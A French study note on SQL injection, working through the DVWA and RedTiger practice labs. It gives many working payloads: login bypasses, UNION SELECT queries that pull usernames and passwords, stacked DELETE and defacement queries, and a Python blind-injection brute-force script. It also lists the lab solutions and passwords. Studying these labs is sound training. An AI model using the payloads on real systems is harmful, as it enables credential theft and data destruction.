Injection SQL

Def et Fonctionement:


Le but est de contourner les mesures de sécurités utilisées afin de faire une énumération de la table ou éventuellement une RDE.
Aussi on peut utiliser SQLMap
Pour apprendre à faire les Injections SQL :

Cheatsheet :
https://portswigger.net/web-security/sql-injection/cheat-sheet

Exploitation :


Principe :


On l'a vu le but est d'abord de déterminer si l'application est faillible, une fois que c'est fait il faut briser la logique par exemple avec un bypasse de passwd. La condition est toujours vraie donc c'est validé (-- sert pour commenter et rendre les instructions suivantes nulles).
Pasted image 20240424103942.png
Ressource :
https://www.youtube.com/watch?v=2OPVViV-GQk
https://www.hacksplaining.com/lessons/sql-injection
https://portswigger.net/web-security/sql-injection/union-attacks

Commandes avancées :


  • DATABASE() : permet d'afficher le nom de la database
  • VERSION() : donne la version de la database
  • CURRENT_USER() : utilisateur courant
  • SELECT * FROM information_schema.tables : lister les tables dans la base de donnée
  • SELECT * FROM information_schema.columns : lister les colonnes
  • MD5() : converti en md5 un résultat.
  • SLEEP() : met le site en attente pdt x secondes
  • LENGTH() : obtient la longueur d'une chaine de charactères

1 .Identifier si il est possible de faire une injection :


On doit essayer d'obtenir un retour :

a" OR 1=1 --
a' OR 1=1 --
a` OR 1=1 --

Il faut tenter aussi des permutations de commentaires :

a' OR 1=1 /*
a' OR 1=1 --
a' OR 1=1 #

Si on veut obtenir plus d'informations il est aussi recommandé de faire crash le login/password :
Pasted image 20240606120630.png

2. Énumérer la table :

On doit d'abord trouver la dimension de la table :

a' OR 1 ORDER BY 2 --
a' OR 1 LIMIT 1,2 --

Une fois la dimension trouvée vérifie que l'on peut bien afficher ce que l'on veut :

' UNION ALL SELECT 1,2--

Pasted image 20240606105216.png
Ensuite on y met les données :

' UNION ALL SELECT password,2 FROM users WHERE username = 'admin' --

On peut faire des permutations avec userid ou autre.

3. Injection en blind :


Dans certains cas on a bien une injection possible mais pas de retour direct, il faut donc faire une blind SQLi, le but étant d'obtenir des informations sans avoir de retour à l'écran. En provoquant des erreurs, en créant de la latence etc...
Il faut souvent un script et SQLmap s'en sort très bien.

4. Pour aller plus loin :


https://bases-hacking.org/sql-injection.html
https://bases-hacking.org/injections-sql-avancees.html

Requêtes doublées :

Les requêtes doublées permettent de faire des choses sympa, comme effacer la table ou autre :

SELECT nom,prenom from employes WHERE idservice=1; DELETE FROM employes WHERE 1=1**;  
SELECT nom,prenom from employes WHERE idservice=1; ALTER news SET content="Hacked by skiddie";

GBK injection :

Lab DVWA :


Exploitation :


Le but de ces challenge est de voler le mot de passe des 5 utilisateurs du site.
https://portswigger.net/web-security/sql-injection

Level Low : Union Attack


https://portswigger.net/web-security/sql-injection/union-attacks
Une union attaque permet d'assembler à une première querry une autre table pour obtenir d'autres informations. Pour se faire on doit respecter deux choses :

  • La table ajoutée doit avoir le même nombre de colonnes
  • les data types de chaque éléments ajoutés dans les colonnes doivent être compatibles avec le sheme
    Si on entre des nombres pour obtenir les ID des users on a un retour :
    Pasted image 20240424155736.png
    Avec une apostrophe on a une erreur donc c'est exploitable.
$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

Pour compromettre cette query on veut faire en sorte de prendre le first name et last name de tous les utilisateurs donc WHERE doit être toujours VRAI.
Par exemple :

$query  = "SELECT first_name, last_name FROM users WHERE user_id = 'a' OR 'a'='a';";

Notre payload étant donc :

a' OR 'a'='a

Pasted image 20240424162653.png
On a donc bien énuméré toute la base de donnée.
On veut déterminer le nombre de colonnes :

'  ORDER BY 3 #

Si on veut d'autres infos :

' UNION SELECT database(),1 #

Pasted image 20240424165321.png
Cette injection nous donne une erreur on a donc 2 colonnes.

' UNION SELECT user, password FROM users #

Level Medium : Bad configuration


Ici on a un formulaire qui va send une requête POST, il n'est donc plus possible de faire une injection dans un champ, en revanche avec BurpSuite on peut le faire :
Pasted image 20240424171230.png
Notre source est :

$query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

On a donc rien à échapper on peut lancer une attaquer tout de suite.

SELECT first_name, last_name FROM users WHERE user_id = 1 OR 1 = 1;

Le payload est donc :

1 OR 1 = 1

Pasted image 20240424172532.png
De ce fait, cette requête est facilement exploitable.
On redétermine le nombre de colonnes :

1 ORDER BY 3 #

C'est la même chose, d'où notre requête finale dans burp :
Pasted image 20240424173323.png

High Level : Lack of data securisation


La query de ce niveau est la suivante :

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";

Le limite pose problème, mais on peut le commenter. Maintenant id est bien entre apostrophes et donc on ne pourra pas escape directement je suppose, on envoie des sessions variable depuis la fenêtre donc BURP ne peut pas être utilisé directement puisque la fenêtre n'est pas monitorée.
Cependant il semble que ce soit uniquement une façade :

$query  = "SELECT first_name, last_name FROM users WHERE user_id = 'yeet' OR '1'='1'#' LIMIT 1;";

Le payload :

yeet' OR '1'='1'#

On a bien une énumération !
Pasted image 20240424175027.png

' UNION SELECT user, password FROM users #

Impossible :


Quelles sont les étapes de vérification du source code ?

  1. Vérifier que c'est un nombre qui est input
  2. Changer le mode de mise en place dans la variable
    Les inputs ont été 'sanisés'

Lab Redtiger :


https://redtiger.labs.overthewire.org/

Level 1 : Simple injection


a'; SELECT * FROM level1_users

Il semble que le login passwd ne soient pas sensibles aux injections.
l'url contient :

https://redtiger.labs.overthewire.org/level1.php?cat=1 ORDER BY 5

si on remplace le 5 par un nombre>4 ou bien du text on obtient this category does not exist.
On peut donc faire une injection SQL ici mais pas dans le login form.
Si le 1 est directement remplacé on obtient :
pas de catégorie.
la requête en back en doit être :

SELECT <nombre>
FROM level1_users
WHERE <nombre> = 1

Les colonnes sont 1,2.3 et 4.
Il semble qu'afficher 1 est nécessaire et UNION SELECT 1,2,3,4 révèle que l'on peut afficher quelque chose sur certaines colonnes qui doivent correspondre à celles qui affichent un message.1,2,3,4 est un résultat statique.

1 UNION SELECT 1,2,4,3

Pour obtenir plus d'informations :

1 UNION SELECT 1,2,database(),current_user()

Pasted image 20240424112754.png

1 UNION SELECT 1,2 UNION SELECT * FROM information_schema.tables
1 UNION SELECT 1,2 UNION SELECT * FROM information_schema.columns

Pasted image 20240424112929.png
Donc la requête devrait fonctionner, nice.

1 UNION SELECT 1,2,username,password FROM level1_users

Cette requête fonctionne, je suppose que l'on doit mettre FROM level1_users car sinon la bonne table n'est pas display.

Level 2 : Login bypass


Indice : loginbypass, condition, target Login

Login' OR 1=1 #

En password et login et le challenge est réussi

Level 3 : Get an error


Indice : try to get an error. tablename:level3_users

Si on click sur un show user details, on récupère des données. Si l'on clique sur un user alors la requête ressemble à ça :
Pasted image 20240424115320.png
Pour générer une erreur on peut changer usr= en usr[]
Pasted image 20240424114915.png
On a donc bien créé une erreur dans le code, et cela nous indique des informations sympathiques. On va chercher urlcrypt.inc :
https://redtiger.labs.overthewire.org/urlcrypt.inc (tester toutes les possibilités avec l'url affichée est une bonne solution).
On a le code suivant :

<?php

	// warning! ugly code ahead :)
	// requires php5.x, sorry for that
	function encrypt($str)
	{
		$cryptedstr = "";
		srand(3284724);
		for ($i =0; $i < strlen($str); $i++)
		{
			$temp = ord(substr($str,$i,1)) ^ rand(0, 255);
			
			while(strlen($temp)<3)
			{
				$temp = "0".$temp;
			}
			$cryptedstr .= $temp. "";
		}
		return base64_encode($cryptedstr);
	}
  
	function decrypt ($str)
	{
		srand(3284724);
		if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str))
		{
			$str = base64_decode($str);
			if ($str != "" && $str != null && $str != false)
			{
				$decStr = "";
				
				for ($i=0; $i < strlen($str); $i+=3)
				{
					$array[$i/3] = substr($str,$i,3);
				}

				foreach($array as $s)
				{
					$a = $s ^ rand(0, 255);
					$decStr .= chr($a);
				}
				
				return $decStr;
			}
			return false;
		}
		return false;
	}
?>

Ce code nous permet de convertir du texte en chaine utilisable dans la table SQL. Il faut bien utiliser PHP5 (https://onlinephp.io/ avec la version 5.03 fonctionne correctement).
Il faut chiffrer les requêtes pour pouvoir les envoyer.

Admin' ORDER BY 120 # 

devient :

MDQyMjExMDE0MTgyMTQwMTc0MjIzMTE5MjQwMDY5MTUyMTc0MDA5MTQxMDM4MDY5MjM4MDgzMTczMDc0MDQ2MjAz

Pasted image 20240424131558.png
On utilise 7 car au delà on a une erreur :

Admin ' ORDER BY 7 #

On sait que l'on a 7 colonnes et on veut déterminer lesquelles peuvent servir pour afficher des résultats sur le site.

' UNION SELECT 1,2,3,4,5,6,7 FROM level3_users 

Ça ne fonctionne pas car on renvoie désormais trop d'informations de la table, il faut formatter ça pour un utilisateur :

' UNION SELECT 1,2,3,4,5,6,7 FROM level3_users WHERE username='Admin' #

En effet le select en backend doit vouloir aller chercher des champs d'utilisateur comme le nom le prénom etc...
Pasted image 20240424132847.png
On peut donc faire :

' UNION SELECT 1,username,3,4,5,password,7 FROM level3_users WHERE username='Admin' #TODO 

Level 4 : Blind-Injection :


put_the_kitten_on_your_head
Objectif : obtenir la première valeur de l'entré dans la colonne keyword de la table

Def et fonctionnement :


Lors d'une attaque avec une blind SQL, on attaque en posant une suite de questions vraies/fausses qui permettent de déduire le fonctionnement de la base de données. Il nous faudra donc être attentif aux réactions du site web.

Exploitation :


On voit sur le site qu'en cliquant sur Click me on a id=1 on va donc insérer une requête dedans :

1 ORDER BY 2 #

Avec le nombre 3 on a une requête qui ne retourne aucune ligne donc on est bons on a 3 lignes.

1 UNION SELECT 1,2 FROM level4_secret

On a bien un retour de 2 lignes. On veut trouver quelle colonne porte le nom keyword donc :

1 UNION SELECT keyword,2 FROM level4_secret

Pasted image 20240424134947.png
On a un retour avec deux lignes, donc la seconde n'est pas Keyword et on a donc keyword qui est bien la première colonne.
On va donc déterminer maintenant quel est la première entrée :

1 UNION SELECT keyword,2 FROM level4_secret WHERE length(keyword)>200

L'entrée fait donc bien moins de 200 charactères.

1 UNION SELECT keyword,2 FROM level4_secret WHERE length(keyword)=21

On est bons.
On fait un brute force :

import requests
from string import printable

url = "https://redtiger.labs.overthewire.org/level4.php"
cookies = {'level4login' : 'put_the_kitten_on_your_head'}

result = ''
for x in range( 1 , 22 ):
    for i in printable:
        params = {'id' : '1 union select keyword, 1 from level4_secret where ascii(substring(keyword,%i,1))= %i'% (x, ord(i))}
        response = requests.get(url, params = params, cookies = cookies)
        if "2 rows" in response.text:
            result += i
            break
    print (result)

On a donc le bon résultat avec ce script.

Level 5 : Advanced-login Bypass :


killstickswithbr1cks!

' OR 1=1

On obtient une erreur, ce qui ne doit pas être la bonne piste. Le paramètre 1 doit être une ressource :

a' UNION SELECT 1,2 #

On obtient simplement login fail. En quelque sorte le backend doit vouloir que le resultat ne soit pas null :

SELECT * FROM users WHERE username = '[USER_INPUT]'

ce qui est transformé en :

SELECT * FROM users WHERE username = '' UNION SELECT 1,2 #[USER_INPUT]'

ce qui n'est pas NULL. On a donc bien un bypass, mais pas de bypass du passwd.
Le passwd est de forme md5.
Donc :

a' UNION SELECT MD5(a),2 #